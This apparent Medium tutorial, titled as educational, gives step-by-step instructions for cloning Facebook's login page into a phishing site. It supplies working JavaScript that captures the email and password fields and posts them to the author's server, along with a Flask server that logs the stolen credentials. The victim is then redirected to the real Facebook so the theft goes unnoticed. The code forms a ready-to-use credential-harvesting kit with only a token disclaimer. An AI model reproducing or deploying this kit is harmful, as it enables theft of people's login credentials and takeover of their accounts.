Phishing Attack using JavaScript (for educational purpose only)
in this article i will show you how to create your own website to steal credentials for demonstration only!!
Phishing Attack using JavaScript (for educational purpose only)
phishing diagram
in this article i will show you how to create your own website to steal credentials for demonstration only!!
First, we must know that the most important point here is JavaScript, why?
Because JavaScript is the only language that can interact with browsers and there are lots of APIs that the browser provides for JavaScript that allows the browser to perform lots of critical points as we will see….
Clone The Target Website:
First, we need to copy (simulate) the web page we want to fake and the following link contains the Facebook login page:
*https://www.facebook.com/login.php/*
Open the pervious link in any browser, such as Google Chrome or Microsoft Edge, right-click anywhere on the page, and then select “Inspect” from the menu, as follows:
Inspecting Facebook Login Page
The lower window for the code will appear, as follows:
Source Code of the web page
Here, we delete all the script parameters <script>…</script>, which are responsible for loading the JavaScript files we don’t need, we only need the layout, so we left-click on all of these parameters and delete them using the Delete button, until we get the following image:
Deleting JS Files/Links
Then we copy the <HTML> at the beginning or end of the code by right-clicking and choosing: Copy > Copy element
Copying HTML element
After copying the code, we save it in a file with the extension .html, such as index.html then when we open it in any browser, we will get the following image:
Cloning Facebook Page
Form Manipulation:
Great, we’ve just successfully copied the login page. The next step is to add the code to send us the login information, or Form Manipulation.
Here, we’ll use JavaScript, but first, let’s understand what a Form is in HTML: An HTML Form is one of the basic elements in HTML (Hypertext Markup Language) that is used to collect input from users.
HTML Forms allow users to enter data such as text, passwords, specific options, and more, then send it to the server for processing. The following image illustrates this better:
HTML Form
This is the simplest form of an HTML form, and even if you don’t know HTML, you can still understand the above code: The code (part) of the form is defined by the <form> element, which specifies the start and end of the form.
The action attribute specifies the URL to which the data will be sent when the form is submitted (action=”/submit-form”), and the method attribute specifies the type of request (method=”post”). The <label> element provides a label for the input elements, and each input has its own element, and vice versa. The <input> element is used for entering data. The <input type=”submit”> element is used as a button to submit the form. The Facebook page we copied also has this form, but in a different format: What matters to us is modifying the form’s action, then specifying the input’s ID.
As in the previous code, the ID of the first name field is fname, and the last name field is lname. Here we modify the code of the previous Facebook page, specifically the action in the form, to point to our server to which we will send the data, and this will look like this:
<form id="login_form" action="/RemoteSubmit" method="post" onsubmit="">We need this to point to RemoteSubmit, we also specify the ID for the entry, which is the account name (email) and the password (pass).
and the following script is the JavaScript code that retrieves the user’s information and sends it to our server via the previous path, RemoteSubmit/.
This code will run when the user fills in their information and clicks the Log in button.
document.getElementById('login_form').addEventListener('submit', function(event) {
event.preventDefault();
const email = document.getElementById('email').value;
const pass = document.getElementById('pass').value;
const data = {
email: email,
pass: pass
};
fetch('/RemoteSubmit', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
})
.then(response => response.json())
.then(data => {
console.log('Success:', data);
window.location.href = 'https://www.facebook.com';
})
.catch((error) => {
console.error('Error:', error);
window.location.reload();
});
});The above code collects data from the email and password entries and sends them to our server.
Upon successful registration, the user will be redirected to Facebook’s original login page using window.location.href to perform automatic redirection and if an error occurs, the fake web page will be reloaded!
now we save the above code in a file named script.js, then return to the Facebook page’s HTML page and write the following code at the end of the file:
<script src="{{ url_for('static', filename='js/script.js') }}"></script>
</body></html>This preceding code tells the HTML page where our previous JavaScript code is. Finally, we write the server code that will receive this data:
from flask import Flask, request, jsonify, render_template
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/RemoteSubmit', methods=['POST'])
def remote_submit():
data = request.json
print(f"Received data: {data}")
return jsonify({"status": "success", "received": data}), 200
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=80)We save the previous code in a file named app.py, then we arrange the three files like this:
facebook-login/
│
├── app.py
├── templates/
│ └── index.html
└── static/
└── js/
└── script.js
As you can see in the previous diagram, we create the templates and static/js folders and place our files inside them.
Then, we place the server file in the main folder, and run it using the following command:
$ python3 app.py
Running our server
As shown in the previous image, we can now visit the fake page we created within our private network using the IP address 192.168.248.78 from any device on our private network:
Fake Login Page
When the user tries to log in using his data, it will be sent to our server:
Gaining User Credentials
As you can see in the previous image, the login information has been sent to the server, and the user will then be redirected to the original Facebook login page.
What's next? In the next article, we will explain how we collect browser information and request access permissions to the camera, microphone, and GPS.
메타데이터
- post_id
- 545dbbafb423
- slug
- phishing-attack-using-javascript-545dbbafb423
- url
- https://medium.com/@Oscar404/phishing-attack-using-javascript-545dbbafb423
- canonical_url
- https://medium.com/@Oscar404/phishing-attack-using-javascript-545dbbafb423
- author_url
- https://medium.com/@Oscar404
- status
- ok
- fetched_at
- 2026-06-26 03:39:16
